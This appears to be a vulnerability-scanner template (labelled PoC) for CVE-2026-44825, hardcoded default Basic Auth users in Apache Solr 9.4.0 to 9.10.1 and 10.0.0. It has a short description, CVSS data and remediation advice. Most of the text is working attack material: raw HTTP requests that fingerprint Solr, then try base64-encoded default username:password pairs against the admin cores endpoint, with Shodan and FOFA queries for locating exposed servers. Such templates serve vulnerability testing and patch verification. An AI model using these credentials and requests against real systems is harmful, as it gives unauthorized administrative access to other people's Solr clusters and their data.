Apache Solr 9.4.0 through 9.10.1 and 10.0.0 contain a hardcoded credentials vulnerability caused by default Basic Authentication template users in bin/solr auth enable, letting remote attackers gain full administrative access. Exploit requires use of default template users.
PoC
id: CVE-2026-44825
info:
name: Apache Solr 9.4.0-9.10.1 / 10.0.0 - Hardcoded Default Credentials
author: pdteam,0x_Akoko
severity: high
description: |
Apache Solr 9.4.0 through 9.10.1 and 10.0.0 contain a hardcoded credentials vulnerability caused by default Basic Authentication template users in bin/solr auth enable, letting remote attackers gain full administrative access. Exploit requires use of default template users.
impact: |
Remote attackers can gain full administrative access to the cluster using default credentials.
remediation: |
Upgrade to versions 9.11.0, 10.1.0 or later; alternatively, delete template users or change their passwords in security.json.
reference:
- https://lists.apache.org/thread/5xg6xr99glocp3zsg9ht2zlbwlrst7ch
- http://www.openwall.com/lists/oss-security/2026/05/29/6
- https://github.com/shinthink/solrradar
- https://nvd.nist.gov/vuln/detail/CVE-2026-44825
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cve-id: CVE-2026-44825
epss-score: 0.02892
epss-percentile: 0.8621
cwe-id: CWE-798
metadata:
verified: true
max-request: 6
shodan-query: product:"Apache Solr" port:8983
fofa-query: app="Apache-Solr" || title="Solr Admin"
tags: cve,cve2026,apache,solr,default-login,vkev
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
GET /solr/admin/info/system?wt=json HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- '(status_code == 200 && contains_any(body, "solr-spec-version", "lucene", "solrHome")) || ((status_code == 401 || status_code == 403) && contains_any(to_lower(header), "solr", "basic"))'
internal: true
- raw:
- |
GET /solr/admin/cores?action=STATUS&wt=json HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 401 || status_code == 403'
internal: true
- raw:
- |
GET /solr/admin/cores?action=STATUS&wt=json HTTP/1.1
Host: {{Hostname}}
Authorization: Basic {{auth}}
payloads:
username:
- solr
- admin
- search
- index
auth:
- c29scjpTb2xyUm9ja3M=
- YWRtaW46U29sclJvY2tz
- c2VhcmNoOlNvbHJSb2Nrcw==
- aW5kZXg6U29sclJvY2tz
attack: pitchfork
stop-at-first-match: true
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "responseHeader", "status")'
- '!contains(body, "Authentication")'
condition: and
extractors:
- type: dsl
dsl:
- username
- type: regex
group: 1
regex:
- '"name"\s*:\s*"([a-zA-Z0-9_-]+)"'
# digest: 4a0a00473045022100bd20bee9c4a44c0508f5b3f8ffe8c397cc1cccb6e490fa6f9e4de1496d2cb59502200a9f02ee2bef43cc6a81e5aee0b242aab0505a5f17f634f70c7c70b0cca4df07:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.